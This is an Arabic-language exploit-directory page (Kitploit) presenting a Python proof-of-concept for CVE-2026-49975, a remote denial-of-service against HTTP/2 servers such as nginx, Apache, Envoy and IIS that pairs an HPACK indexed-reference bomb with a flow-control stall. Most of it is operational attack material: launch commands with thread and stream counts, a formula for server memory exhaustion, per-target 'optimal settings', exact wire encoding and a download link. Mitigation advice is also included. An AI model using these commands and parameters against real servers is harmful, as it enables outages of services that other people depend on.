Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49975-POC — HTTP/2 Bomb PoC — CVE-2026-49975 (قنبلة المرجع المفهرس في HPACK + توقف التحكم في التدفق) | Kitploit
أدوات/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكاتاختبار الاختراق
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 Bomb PoC — CVE-2026-49975 (قنبلة المرجع المفهرس في HPACK + توقف التحكم في التدفق)

عرض المستودع
298منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-49975 — إثبات المفهوم (PoC) لقنبلة HTTP/2

CVE Severity Python

استغلال إثبات المفهوم (PoC) لثغرة CVE-2026-49975، وهي ثغرة حرمان من الخدمة عن بُعد في تطبيقات خوادم HTTP/2. اكتشفها Quang Luong (Calif Security Research)، وأُفصِح عنها في 2 يونيو 2026.

للاستخدام في الاختبارات الأمنية المصرح بها فقط. لا تستخدمه ضد أي بنية تحتية لا تملكها أو ليس لديك إذن كتابي لاختبارها.


كيف يعمل

يربط الهجوم بين آليتين من آليات بروتوكول HTTP/2:

1. قنبلة المرجع المفهرس في HPACK

يتيح HPACK (RFC 7541) للمرسلين الإشارة إلى الترويسات التي سبق رؤيتها بواسطة الفهرس — عادةً ما يكون بايتًا واحدًا. يُدخل الاستغلال ترويسة شبه فارغة في الجدول الديناميكي مرة واحدة، ثم يشير إليها آلاف المرات. كل مرجع سلكي ببايت واحد يُجبر الخادم على تخصيص ~70 بايتًا من البيانات الداخلية لكل مُدخل. لا تُستخدم أي قيم كبيرة في الهجوم، لذا لا تعمل حدود «max decoded header size» أبدًا.

2. تعليق نافذة التحكم في التدفق في HTTP/2

بإعلان نافذة استقبال صفرية البايت، يمنع المهاجم الخادم من إرسال استجابته أو تحرير أي ذاكرة. تُعيد إطارات WINDOW_UPDATE الدورية، التي يبلغ حجم كل منها بايتًا واحدًا، ضبط مهلة إرسال الخادم، مما يُبقي التخصيصات مثبتة طوال مدة بقاء الاتصال مفتوحًا.

النتيجة: ~16 كيلوبايت تُرسل لكل تدفق → ~1.15 ميغابايت من ذاكرة الخادم RAM تُخصص وتُحتجز لكل تدفق.


الخوادم المتأثرة


الاستخدام

بدون أي تبعيات — يعتمد على stdlib فقط.

root@kitploit:~
# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

الوسائط

تقدير ضغط الذاكرة RAM

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

الإعدادات المثلى حسب الهدف


التحقق مما إذا كان الهدف عرضةً للثغرة

root@kitploit:~
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

وسائل التخفيف

nginx — قم بالترقية إلى الإصدار 1.29.8+ وأضِف:

root@kitploit:~
http2 max_headers 1000;

أو عطّل HTTP/2 كليًا:

root@kitploit:~
# Remove "http2" from listen directive
listen 443 ssl;

Apache httpd — قم بترقية mod_http2 إلى v2.0.41+. إجراء مؤقت: Protocols http/1.1

IIS / Envoy / Pingora — لا يتوفر تصحيح وقت كتابة هذا الدليل. عطّل HTTP/2 أو ضَع بروكسي مُصحَّحًا أمام الخدمة.

عام (جميع الخوادم):

root@kitploit:~
# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

التفاصيل التقنية

ترميز HPACK

root@kitploit:~
Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

تسلسل إطارات HTTP/2

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)

الملفات

الملفالوصف
exploit-test.pyالاستغلال الرئيسي (PoC) — متعدد التدفقات، إعادة اتصال مستمرة، وضعا nginx + classic
SECURITY-REPORT-MIST.mdتقرير تقييم مصرح به لـ mist.ac.bd
LICENSEMIT

المراجع

  • CVE-2026-49975
  • RFC 7541 §7.3 — استهلاك الذاكرة في HPACK
  • RFC 9113 §8.2.3 — تقسيم ترويسة Cookie
  • CVE-2016-6581 — قنبلة HPACK الأصلية (Cory Benfield, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)
تنزيل الأداة
الخادمالتضخيمتأثير العرض التوضيحيالحالة
Envoy 1.37.2~5,700:132 غيغابايت في ~10 ثوانٍلا يوجد تصحيح وقت الإفصاح
Apache httpd 2.4.67~4,000:132 غيغابايت في ~18 ثانيةأُصلح في mod_http2 v2.0.41
nginx < 1.29.8~70:132 غيغابايت في ~45 ثانيةأُصلح في nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 غيغابايت في ~45 ثانيةلا يوجد تصحيح وقت الإفصاح
Cloudflare Pingora~68:1—لا يوجد تصحيح وقت الإفصاح
الخيارالافتراضيالوصف
target—اسم المضيف أو عنوان IP
port443منفذ TCP
--threads1اتصالات متوازية (يعيد كلٌّ منها الاتصال عند الإغلاق)
--streams10تدفقات HTTP/2 لكل اتصال
--headers5000مراجع HPACK مفهرسة لكل تدفق
--modenginxnginx (تدوين داخلي، 70:1) أو classic (قيمة كبيرة، 4000:1)
--no-ssloffتعطيل TLS (h2c)
الهدفالوضع--headersملاحظات
nginx < 1.29.8nginx16374يبقى ضمن الحد الافتراضي http2_max_header_size 16k
Apache httpdclassic5000تقنية فتات الكوكيز (cookie crumb)
Envoyclassic32000تضخيم عالٍ